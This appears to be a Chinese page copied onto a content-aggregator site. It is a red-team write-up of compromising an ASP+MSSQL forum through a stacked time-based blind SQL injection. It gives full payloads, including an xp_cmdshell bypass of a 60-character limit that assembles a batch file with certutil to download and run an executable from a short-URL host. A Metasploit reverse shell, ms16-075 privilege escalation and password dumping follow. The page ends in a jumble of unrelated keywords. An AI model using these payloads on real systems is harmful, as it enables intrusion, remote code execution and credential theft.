千家信息网

asp+mssql的注入和命令执行是怎样的

发表于:2024-09-26 作者:千家信息网编辑
千家信息网最后更新 2024年09月26日,asp+mssql的注入和命令执行是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。前言在hw中有遇到一个站点,存在
千家信息网最后更新 2024年09月26日asp+mssql的注入和命令执行是怎样的

asp+mssql的注入和命令执行是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

前言

在hw中有遇到一个站点,存在mssql的注入和命令执行漏洞,在进行利用的时候遇到了一些阻碍。

过程

首先进行信息收集,发现在一个高端口开着一个论坛服务,于是打开站点进行常规的测试,在用户名处,在搜索框处,在输入单引号之后得到报错,这很有可能就是注入点,因为之前没有做过asp+mssql的注入,所以去请教了大佬,站点是get传参,大佬经过测试发现可以通过post传参(应该是使用了asp的Request.Form函数),不能通过bool盲注,但是可以通过堆叠时间盲注进行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --这里可以通过burp的测试器进行测试,把a-z0-9添加到字典中,之后进行枚举,判断返回时间,下面举个例子 枚举到t时得到延时5秒,证明数据库的第一个字符为t 接下来使用burp的测试器 修改要测试的位置 添加字典 修改线程 查看结果 按时间排序 得到数据库的下一位为e,接下来得到数据库名称。 判断用户是否为dba权限';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--,但是执行这个代码发现没有延时,无论是<1还是>=1都没有回显,可能是因为手工的方式不太对,所以丢到sqlmap 发现可以注入,之后使用--is-dba 判断是否为dba权限 不是dba权限,继续注入出其他数据库--dbs 发现没有回显,而且sqlmap没有检测出waf,所以就要分析一下payload和后端的问题了,想到这里是搜索框,并且默认是get传参,那么是不是可能限制了字符串长度,于是修改payload为';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --通过调整单引号长度,来测试最大为多大长度时可以延时,经过枚举,发现后端的长度限制为60,那么在注入的时候就只能通过存储过程来注入,这样是非常麻烦的,还有一种办法就是通过mssql的xp_cmdshell函数来执行命令,当然因为前面有对字符串的长度有限制,所以每次执行的命令长度也有限制,';exec master..xp_cmdshell ''--为执行命令的基本长度,为31,所以我们执行命令的长度最大为29,而且还要考虑杀软的问题,因为经过本地测试,如果存在杀软,那么命令是无法执行成功的 哪怕是ping命令甚至是错误的命令都不能执行,所以要对目标是否存在杀软进行测试,';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--执行之后等待了4秒,成功得到回显,证明对面目标没有杀软或者杀软不为测试的某卫士 想到可以通过系统的下载命令进行下载,配合上短域名即可实现文件下载,但是经过测试,常规的下载命令,配合短域名之后长度会达到34位 而且还会涉及下载目录问题,还有下载的文件的执行问题。 在之前复现phpstudy命令执行漏洞写shell的时候学习到了在系统下echo 123>1.txtecho 123>>1.txt两种写入方式的区别,通过第二种方式即可实现写入文件,于是进行本地复现 经过写入两次文件,但是命令根本不在一行,这样是无法执行的,这时候想起了之前在ctfhub上面做的命令执行,想到在linux下可以通过拼接来绕过过滤,实现命令执行,那么windows下是不是也可以呢,找到了度娘,可以通过以下方式来进行字符串拼接

@echo off certuti l  %a%%b%

于是把下载的命令进行构造certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe经过字符串拼接,现在本地进行测试,

@echo off certuti l  %a%%b% che  %q%%a% it  ht %q%%a% tp://suo %q%%a% .im/5UEW %q%%a% nn  %q%%a% %%temp%% %q%%a% /1.exe %q%%a% %q%pause

发现已经拼接成功,并且可以执行,所以进行构造payload';exec master..xp_cmdshell 'echo >>%temp/6.bat'--为需要的最基本的长度。为45个字符 而且还需要保证字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--为61个字符,这样已经不能够正常的执行命令,所以要对payload进行缩减,把写入文件的扩展名去掉,在写完文件之后使用copy命令进行重命名 所以payload为';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--,经过构造得到完整的payload

 @echo off>>%temp%/3  certuti>>%temp%/3  l >>%temp%/3  %a%%b%>>%temp%/3  che >>%temp%/3  %q%%a%>>%temp%/3  it  ht>>%temp%/3  %q%%a%>>%temp%/3  tp://suo>>%temp%/3  %q%%a%>>%temp%/3  .im/5UEW>>%temp%/3  %q%%a%>>%temp%/3  nn >>%temp%/3  %q%%a%>>%temp%/3  %%temp%%>>%temp%/3  %q%%a%>>%temp%/3  /1.exe>>%temp%/3  %q%%a%>>%temp%/3 %q%>>%temp%/3copy %temp%\3 %temp%\3.bat%temp%\3.bat%temp%\1.exe

思路就是通过把命令写入文件,之后通过copy命令把无后缀的文件变成bat,进行执行里面的下载命令,远程下载muma到指定目录,之后通过命令执行来运行muma,当然还要先测试目标是否出网和是否是dba,开启了xp_cmdshell

show advanced optionsxp_cmdshellftp x.x.x.x

在服务器执行nc -lvvp 21如果有回显,证明目标可以执行命令并且出网 接下来首先进行本地测试,测试命令是否执行成功,能否成功写入文件, 发现命令已经执行成功,但是没有写入文件,于是修改asp代码,显示sql语句,下面是我本地复现的代码

<%mssql_datahost   mssql_username   mssql_password   connstr  &mssql_username&&mssql_password&&mssql_dataname&Set conn  Server.CreateObject()conn.Open connstrdim keywordRequest.Form()left(keyword,60)StrSql   & keyword & Response.Write(StrSql)Conn.Execute(StrSql)%>

发现是%没有编码,在post传参中被url解码消失了,所以修改payload

%20@echo%20off>>%25temp%25/3%20setcertuti>>%25temp%25/3%20setl%20-urlca>>%25temp%25/3%20set%25a%25%25b%25>>%25temp%25/3%20setche%20-spl>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20setit%20-f%20ht>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20settp://suo>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20set.im/5UEW>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20setnn%20>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20set%25%25temp%25%25>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20set/1.exe>>%25temp%25/3%20set%25q%25%25a%25>>%25temp%25/3%20%25q%25>>%25temp%25/3copy%20%25temp%25\3%20%25temp%25\3.bat%25temp%25\3.bat%25temp%25\1.exe

执行之后,msf收到shell,查看权限 通过tasklist命令查看是否存在杀软和本地运行的进程 因为本地权限较低,所以需要提权抓取密码

use post/multi/recon/local_exploit_suggester

使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。 之后使用ms16075进行本地提权 获得system权限,抓取密码

总结

因为之前对asp+mssql没有过接触,所以刚一碰到目标的时候很麻爪,包括在进行权限维持和横向的时候,还没来得及做,就已经被发现了,之前使用msf的时候都是在自己的虚拟机里,环境和真实环境有很多差异,而且,msf的反弹使用了reserve_tcp,并且没有使用rc4或者https来加密流量,导致权限只拿下来了2个小时就被防守方发现,并且关闭了网站。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

命令 测试 文件 长度 字符 权限 成功 可以通过 时候 目标 字符串 数据 数据库 方式 问题 限制 接下来 代码 就是 时间 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 英国网络安全视频下载 方舟服务器里老有人炸房子怎么办 华为的服务器怎么样 互联网科技有限公司运营模式 互联网软件开发创业 方舟服务器地区买错了影响吗 王者荣耀显示与服务器丢失 全球最大的安全数据库 传智播客crm数据库 贵阳管家婆软件开发 nginx配置静态web服务器 信阳软件开发应用范围 中转服务器搭建之后怎么用 海贼王哪个服务器升级最快 苏州网络安全准入控制价格 实验室管理软件开发找谁 连不上数据库是什么意思 电子信息网络安全考研 MYSQL数据库技术技巧 网络技术定做价格 深圳市壹站通网络技术有限公司 青年干部网络安全 软件开发中专技校一般都是几年 关系型数据库 建模规则 网络安全应急处置工具箱 软件开发是哪类专业 数据库软解析和硬解析 网络安全工程证件 贵州深山里的服务器虚拟主机 浙江net软件开发收费报价表
0